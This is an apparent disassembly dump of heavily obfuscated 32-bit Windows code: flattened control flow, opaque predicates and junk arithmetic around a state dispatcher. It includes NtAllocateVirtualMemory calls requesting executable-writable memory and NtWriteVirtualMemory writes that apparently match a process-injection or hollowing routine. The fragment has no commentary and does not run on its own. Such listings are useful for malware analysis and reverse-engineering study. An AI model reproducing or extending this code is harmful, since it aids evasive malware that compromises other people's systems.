mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x714d50ef
mov ecx, 0x3844f4b3
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
sub edx, 0xab93ad29
sub edx, 1
add edx, 0xab93ad29
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0x10485d07
mov ecx, 0x1c83f093
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdcc3309d
mov ecx, 0xee490f84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
add edx, 0x3fef934c
sub edx, 1
sub edx, 0x3fef934c
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0x36dff990
mov ecx, 0x7fab56e5
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
sub edx, 0x2fcc1aae
sub edx, 1
add edx, 0x2fcc1aae
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x36dff990
mov ecx, 0x4d42399f
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x92bef96e
jmp 0x1000e8f0
mov eax, dword [ebp - 0x134]
mov eax, dword [eax]
mov dword [ebp - 0x1c], eax
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov dword [ebp - 0x18], eax
mov dword [ebp - 0x160], 0x54d8cfd0
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
mov edx, eax
add edx, 0x90d9062e
sub edx, 1
sub edx, 0x90d9062e
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdc74b09
mov ecx, 0x2188d1ed
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x3231ae3d
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
sub edx, 0x82f32ddd
sub edx, 1
add edx, 0x82f32ddd
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0x5ea52d42
mov ecx, 0x40f88a84
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov eax, dword [0x10067e88]
mov ecx, dword [0x10067e84]
xor esi, esi
sub esi, 1
mov edx, eax
add edx, esi
imul eax, edx
and eax, 1
cmp eax, 0
sete al
cmp ecx, 0xa
setl cl
mov dl, al
and dl, cl
xor al, cl
or dl, al
mov eax, 0xdd24ae62
mov ecx, 0x8058d277
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
add edx, 0xbda9ec24
sub edx, 1
sub edx, 0xbda9ec24
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 1
mov dl, al
and dl, 0xff
and bl, cl
mov ch, ah
and ch, 0xff
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 1
and al, cl
or dl, al
mov eax, 0xdd24ae62
mov ecx, 0x41b2dac8
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0xd2dcbe6d
jmp 0x1000e8f0
mov eax, dword [ebp - 0xa4]
mov edx, dword [eax]
mov ecx, dword [ebp - 0x134]
mov eax, dword [ebp - 0x130]
xor esi, esi
sub esp, 0x18
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], 0
mov dword [esp + 0xc], eax
mov dword [esp + 0x10], 0x3000
mov dword [esp + 0x14], 0x40
call sub.ntdll.dll_NtAllocateVirtualMemory
mov ecx, eax
mov eax, dword [ebp - 0x128]
mov dword [eax], ecx
mov eax, dword [ebp - 0x128]
mov dword [ebp - 0x160], 0xfab6e656
jmp 0x1000e8f0
mov eax, dword [ebp - 0x150]
mov eax, dword [eax]
mov ecx, dword [eax + 0xa0]
mov eax, dword [ebp - 0x118]
mov dword [eax], ecx
mov eax, dword [ebp - 0x114]
mov dword [eax], 0
mov dword [ebp - 0x160], 0x32c6f42a
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x756d1678
jmp 0x1000e8f0
mov eax, dword [ebp - 0x54]
mov eax, dword [ebp - 0x50]
mov dword [ebp - 0x160], 0x4a8347ec
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x5ed07ae7
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x4972268e
jmp 0x1000e8f0
mov eax, dword [ebp - 0x138]
mov ecx, dword [eax]
sub ecx, 0x80b741ab
add ecx, 8
add ecx, 0x80b741ab
mov eax, dword [ebp - 0x148]
mov edx, dword [eax]
mov eax, dword [ebp - 0x134]
xor esi, esi
sub esp, 0x14
mov dword [esp], edx
mov dword [esp + 4], ecx
mov dword [esp + 8], eax
mov dword [esp + 0xc], 4
mov dword [esp + 0x10], 0
call sub.ntdll.dll_NtWriteVirtualMemory
mov eax, dword [ebp - 0x150]
mov ecx, dword [0x10067e88]
mov eax, dword [0x10067e84]
mov edx, ecx
add edx, 0x1b864798
sub edx, 1
sub edx, 0x1b864798
imul ecx, edx
and ecx, 1
cmp ecx, 0
sete bl
cmp eax, 0xa
setl dh
mov al, bl
xor al, 0xff
mov ah, dh
xor ah, 0xff
mov cl, 1
xor cl, 0
mov dl, al
and dl, 0
and bl, cl
mov ch, ah
and ch, 0
and dh, cl
or dl, bl
or ch, dh
xor dl, ch
or al, ah
xor al, 0xff
or cl, 0
and al, cl
or dl, al
mov eax, 0xd16fb971
mov ecx, 0x97cbf099
test dl, 1
cmovne eax, ecx
mov dword [ebp - 0x160], eax
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x8db077cc
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0xa282e83b
jmp 0x1000e8f0
mov dword [ebp - 0x160], 0x12619a3a
jmp 0x1000e8f0
mov eax, dword [ebp - 0x11c]
mov ecx, dword [ebp - 0x70]
mov dword [eax], ecx
mov dword [ebp - 0x160], 0xf9fdf2a2
jmp 0x1000e8f0
jmp 0x1000738f